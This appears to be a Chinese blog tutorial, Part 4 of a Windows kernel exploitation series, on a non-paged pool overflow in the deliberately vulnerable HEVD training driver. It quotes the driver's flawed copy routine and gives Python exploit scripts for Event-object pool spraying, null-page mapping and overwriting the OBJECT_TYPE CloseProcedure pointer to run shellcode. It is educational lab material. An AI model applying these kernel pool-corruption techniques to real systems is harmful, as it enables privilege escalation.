Windows内核漏洞利用教程Part4:池风水->池溢出

Author Avatar
leo00000 7月 04, 2018

Windows内核漏洞系列教程。

前言

Part3中讨论过了任意地址写漏洞(Write-What-Where),在这章中来谈谈池溢出(Pool Overflow),简而言之就是池缓冲区溢出。相对之前的几篇会难一些,花的时间也会多一点,我们会深入理解如何修改池利用shellcode从而可靠地控制应用程序,在开始exploit之前还是理解一些相关概念。
感谢hacksysteam提供的驱动程序。

池风水(Pool Feng-Shui)

在深入池溢出之前,先来了解一下池内存的概念以方便我们去控制它,具体可以参考Tarjei Mandt的Windows 7 内核利用和华为未然实验室的Windows内核池漏洞利用技术(翻译)
内核池类似Windows中的堆,它的作用也是用来动态分配内存。和堆喷修改正常应用程序的堆一样,我们要在内核领域找到一种办法来修改内存池,以便在内存区域精确地调用我们的shellcode。理解内存分配器的概念以及如何影响池分配和释放机制相当重要。
对于HEVD驱动,有漏洞的用户缓冲区被分配在非分页池,所以我们需要找到一种方法来修改非分页池。Windows提供了一种Event对象,该对象存储在非分页池中,可以使用CreateEvent API来创建:

HANDLE WINAPI CreateEvent(
  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
  _In_     BOOL                  bManualReset,
  _In_     BOOL                  bInitialState,
  _In_opt_ LPCTSTR               lpName
);

在这里我们需要用这个API创建两个足够大的Event对象数组,然后通过使用CloseHandle API 释放某些Event 对象,从而在分配的池块中造成空隙,经合并形成更大的空闲块:

BOOL WINAPI CloseHandle(
  _In_ HANDLE hObject
);

在这些空闲块中,我们需要将有漏洞的用户缓冲区插进去,以便每次准确地覆盖正确的内存位置。因为我们会破坏Event象的相邻头部,以便跳转到包含shellcode的地址。下面用一个粗略的图表来展示下我们正要做的工作:

在这之后,我们会把指针指向shellcode,这样就可以通过操纵损坏的池头部来调用它。通过阅读未然实验室的文章应该是有两种方法达到利提权目的,这里使用OBJECT_TYPE索引覆盖方法,我们伪造一个OBJECT_TYPE头,覆盖指向OBJECT_TYPE_INITIALIZER中的一个过程的指针。

漏洞分析

先看下PoolOverflow.c源代码:

NTSTATUS TriggerNonPagedPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    PVOID KernelBuffer = NULL;
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    __try {
        DbgPrint("[+] Allocating Pool chunk\n");

        // Allocate Pool chunk
        KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
                                             (SIZE_T)POOL_BUFFER_SIZE,
                                             (ULONG)POOL_TAG);

        if (!KernelBuffer) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
        }

        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of the allocated pool chunk to RtlCopyMemory()/memcpy().
        // Hence, there will be no overflow
        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
        DbgPrint("[+] Triggering Non Paged Pool Overflow\n");

        // Vulnerability Note: This is a vanilla pool buffer overflow vulnerability
        // because the developer is passing the user supplied value directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of the allocated Pool chunk
        RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif

        if (KernelBuffer) {
            DbgPrint("[+] Freeing Pool chunk\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);

            // Free the allocated Pool chunk
            ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
            KernelBuffer = NULL;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

漏洞存在的原因在于向内核池拷贝数据时没有验证用户数据大小,导致了内核池溢出。

我们计算出IOCTL号为0x22200f:

hex((0x00000022 << 16) | (0x00000000 << 14) | (0x803 << 2) | 0x00000003)

找到内核缓冲区大小为504字节:

#define POOL_BUFFER_SIZE 504

我们使用”Hack”来做tag标记,接下来就开始有趣的利用部分。

漏洞利用

从基础框架开始,IOCTL为0x22200f。

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)

    buf = "A"*100
    bufLength = len(buf)

    kernel32.DeviceIoControl(hevDevice, 0x22200f, buf, bufLength, None, 0, byref(c_ulong()), None)


if __name__ == '__main__':
    main()

可以看到如下输出:

我们尝试给UserBuffer加到0x1f8字节,观察输出:

观察池内存,可以看到分页池是一片连续的内存空间:

当我们把UserBuffer加到0x200字节的时候,观察到池内存被破坏了,最终导致BSOD:

然后我们利用上一节介绍的方法,使用以下代码在非分页池中大量分配Event对象:

# python2.7


import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)

    buf = "A"*0x1f8
    bufLength = len(buf)

    spray_event1 = spray_event2 = []

    for x in xrange(1,10000):
        spray_event1.append(kernel32.CreateEventA(None, False, False, None))

    for x in xrange(1,5000):
        spray_event2.append(kernel32.CreateEventA(None, False, False, None))

    kernel32.DeviceIoControl(hevDevice, 0x22200f, buf, bufLength, None, 0, byref(c_ulong()), None)


if __name__ == '__main__':
    main()

观察内存结果却是如我们所料,在Hack对象周围布满了Event对象,证明我们确实可以通过spray绕过非分页池的随机化:

接下来我们要布置shellcode,大致思路就是将Event对象喷射到非分页池中,然后在这些内存快中间创建一些空隙,把我们有漏洞的hack对象重新分配到这些空隙中。在重新分配有漏洞的hack对象后,我们破坏掉相邻的池头部,以指向我们的shellcode地址。观察到Event对象的大小是0x40字节(0x38+0x8),包括池头部。

我们先看看池头部结构:

我们感兴趣的部分是TypeIndex ,它实际上是指针数组中的偏移量大小,它定义了Windows所支持的每个对象的OBJECT_TYPE,来分析一下:

这看起来可能有点复杂,但我已经标记出了重要的部分:

  • 第一个指针时00000000
  • 下一个突出显示的指针是0x851fd2a0,这是从0xc开始的偏移量
  • 接下来是Event对象tag
  • 偏移量0x28处TypeInfo成员:
  • 这个成员0x038处的CloseProcedure,计算出偏移量为0x28+0x38=0x660,我们会覆盖0x60处的这个指针,让他指向我们的shellcode,最终执行我们的shellcode。

我们的目标是把TypeIndex的偏移量从0xc改为0x0,因为第一个指针是空指针,在Windows 7 中有一个漏洞,可以调用 NtAllocateVirtualMemory来映射到Null页面:

NTSTATUS ZwAllocateVirtualMemory(
  _In_    HANDLE    ProcessHandle,
  _Inout_ PVOID     *BaseAddress,
  _In_    ULONG_PTR ZeroBits,
  _Inout_ PSIZE_T   RegionSize,
  _In_    ULONG     AllocationType,
  _In_    ULONG     Protect
);

然后调用WriteProcessMemory 覆盖0x60处的指针,指向shellcode地址:

BOOL WINAPI WriteProcessMemory(
  _In_  HANDLE  hProcess,
  _In_  LPVOID  lpBaseAddress,
  _In_  LPCVOID lpBuffer,
  _In_  SIZE_T  nSize,
  _Out_ SIZE_T  *lpNumberOfBytesWritten
);

把所有的内容整合起来,得到下面的脚本:

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    ntdll = windll.ntdll

    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle."
        sys.exit(0)

    ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_ulong(0x100)), 0x3000, 0x40)

    shellcode = "\x90" * 8
    shellcode_address = id(shellcode) + 20

    kernel32.WriteProcessMemory(0xFFFFFFFF, 0x60, byref(c_void_p(shellcode_address)), 0x4, byref(c_ulong()))

    buf = "A" * 504
    buf += struct.pack("L", 0x04080040)
    buf += struct.pack("L", 0xEE657645)
    buf += struct.pack("L", 0x00000000)
    buf += struct.pack("L", 0x00000040)
    buf += struct.pack("L", 0x00000000)
    buf += struct.pack("L", 0x00000000)
    buf += struct.pack("L", 0x00000001)
    buf += struct.pack("L", 0x00000001)
    buf += struct.pack("L", 0x00000000)
    buf += struct.pack("L", 0x00080000)
    buf_ad = id(buf) + 20

    spray_event1 = spray_event2 = []

    for i in xrange(10000):
        spray_event1.append(kernel32.CreateEventA(None, False, False, None))
    for i in xrange(5000):
        spray_event2.append(kernel32.CreateEventA(None, False, False, None))

    for i in xrange(0, len(spray_event2), 16):
        for j in xrange(0, 8, 1):
            kernel32.CloseHandle(spray_event2[i+j])

    kernel32.DeviceIoControl(hevDevice, 0x22200f, buf_ad, len(buf), None, 0, byref(c_ulong()), None)

if __name__ == "__main__":
    main()

运行观察内存:

TypeIndex已经由0xc修改为0x0,

shellcode地址布置完成。

现在只需要在虚拟内存中加载shellcode,调用 Closeprocedure。试过程如下,可以看到最终进入了shellcode:

验证结果如下图,最终EXP上传到github。

关于UAF的小结

通过漏洞分析利用,实际上我们要做就是内核UAF利用,对于UAF我们的思路通常是:

  1. 一种创建对象的方式(CreateEvent)
  2. 一种释放对象的方式(CloseHandle)
  3. 一种能替换填充对象的方式(spray to fill: 0x40 * 8 = 0x200)
  4. 一种导致替换对象作为原始对象被引用的方式(Closeprocedure)

通过以上思路就能达到经典的 call shellcode目的。